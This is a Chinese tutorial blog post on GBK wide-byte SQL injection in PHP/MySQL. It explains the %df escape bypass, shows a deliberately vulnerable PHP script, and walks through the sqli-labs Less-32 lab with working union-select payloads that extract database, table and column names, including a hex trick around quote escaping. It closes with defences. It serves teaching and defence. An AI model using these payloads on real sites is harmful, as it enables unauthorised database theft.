SQL(宽字节注入)

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

前言

前面sql注入时最怕碰到的就是字符型注入,然后'被过滤,反正当时没有什么办法解决,但宽字节注入给这样的情况带来了希望

宽字节注入原理

首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式。程序在进行一些操作之前经常会进行一些编码处理,而做编码处理的函数也是存在问题的,通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据,在SQL注入里,最常见的编码注入是MySQL宽字节以及 urldecode/rawurldecode 函数导致的。

现在的Web程序大多都会进行参数过滤,通常使addslashes()mysql_real_escape_string()mysql_escape_string() 函数或者开启magic_quotes_gpc=on的方式来防止注入,也就是给单引号(' )、 双引号(")、反斜杠(\)和NULL加上反斜杠转义。但是如果在使用PHP连接MySQL的时候,又设置了“set character_set_client = gbk" 时又会导致一个编码转换的注入问题,也就是我们所熟悉的宽字节注入。当存在宽字节注入漏洞时(存在addslashes等函数转义),注入参数里带入%df%27(解码为�’),即可把程序中过滤的 \ ( %5c)吃掉。 举个例子,假设/1.php?id=1里面的id参数存在宽字节注入漏洞,当提交/1.php?id=-1' and 1=1%23 时,MySQL 运行的SQL语句为select * from user where id='1\' and 1=1#'很明显这是没有注入成功的,我们提交的单引号被转义导致没有闭合前面的单引号,但是我们提交/1.php?id=-1%df' and 1=1%23 时,这时候MySQL运行的SQL语句为:

select * from user where id='1運' and 1=1#'

这是由于单引号被自动转义成 \’,前面的%df和转义字符 \ 反斜杠(%5c)组合成了%df%5c,也就是“運”字,这时候单引号依然还在,于是成功闭合了前面的单引号。

出现这个漏洞的原因是在PHP连接MySQL的时候执行了如下设置:

set character_set_client = gbk

告诉MySQL服务器客户端来源数据编码是GBK,然后MySQL服务器对查询语句进行GBK转码导致反斜杠\被%df吃掉。 而一般都不是直接设置character_set_client=gbk,通常的设置方法是SET NAMES 'gbk',但其实SET NAMES 'gbk'不过是比character_set_client gbk多干了两件事而已,即

mysql_query( "SET NAMES gbk");

SET NAMES 'gbk'等同于如下代码:

character_set_client 客户端使用的编码,如GBK, UTF8 比如你写的sql语句是什么编码的。
character_set_results 查询返回的结果集的编码(从数据库读取的数据是什么编码的)。
character_set_connection 连接使用的编码

这同样也是存在漏洞的。

下面对宽字节注入进行一个简单测试。
测试代码如下:

<?php
$conn=mysql_connect('localhost', 'root', '123456');
mysql_select_db("test", $conn);
mysql_query("SET NAMES 'gbk'", $conn);
$uid=addslashes($_GET['id']);
$sq1="SELECT * FROM userinfo where id=' $uid'";
$result=mysql_query($sq1, $conn);
print_r('当前SQL语句: '.$sql.'<br />结果: ');
print_r (mysql_fetch_row(Sresult));
mysql_close() ;

当提交/1.php?id=%df' union select 1,2,3,4%23时,成功注入的效果如图4-3所示。
在这里插入图片描述
在代码审计中,对宽字节注入的挖掘方法也比较简单,只要搜索如下几个关键字即可:

SET NAMES

character_set_client=gbk 

mysql_set_charset('gbk')

靶场练习——Sql-libs

Less-32

在这里插入图片描述
进入页面输入?id=1,出现上面的界面

然后我们加上’,如下图,我们可以看到提示说我们的输入被转义为了1\’…
在这里插入图片描述
这里我们来试下宽字节注入,id=2%df’–+
在这里插入图片描述
查询成功。
报字段:?id=-1%df’ union select 1,2–+
在这里插入图片描述
?id=-1%df’ union select 1,2,3–+
在这里插入图片描述
可知后台查询语句有三个字段,且2,3字段为注入字段。

报数据库:?id=-1%df’ union select 1,database(),user()–+
在这里插入图片描述
爆表:?id=-1%df’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+

?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
在这里插入图片描述
爆字段:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
发现报错:
在这里插入图片描述
原来忘记了,最后面的user的单引号也被过滤了。我们可以利用16进制进行绕过,表名字段使用十六进制即:user进行十六进制编码:user=0x7573657273
即:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+
在这里插入图片描述
成功爆出。还有一种方法:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3--+

最后,报数据:
在这里插入图片描述

防御

官方建议使用mysql_set_charset方式来设置编码,不幸的是它也只是调用了SET NAMES,所以效果也是一样的。 不过mysql_set_charset调用SET NAMES之后还记录了当前的编码,留着给后面 mysql_real_escape_string 处理字符串的时候使用,所以在后面只要合理地使用mysql_real_escape_string 还是可以解决这个漏洞的。关于这个漏洞的解决方法推荐如下几种方法:

1) 在执行查询之前先执行SET NAMES 'gbk'character_set_client=binary设置 character_set_client 为binary。
2) 使用 mysql_set_charset(‘gbk’) 设置编码,然后使用 mysql_real_escape_string() 函数被参数过滤。
3) 使用pdo方式,在PHP5.3.6及以下版本需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 来禁用 prepared statements 的仿真效果。

如上几种方法更推荐第一和第三种。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值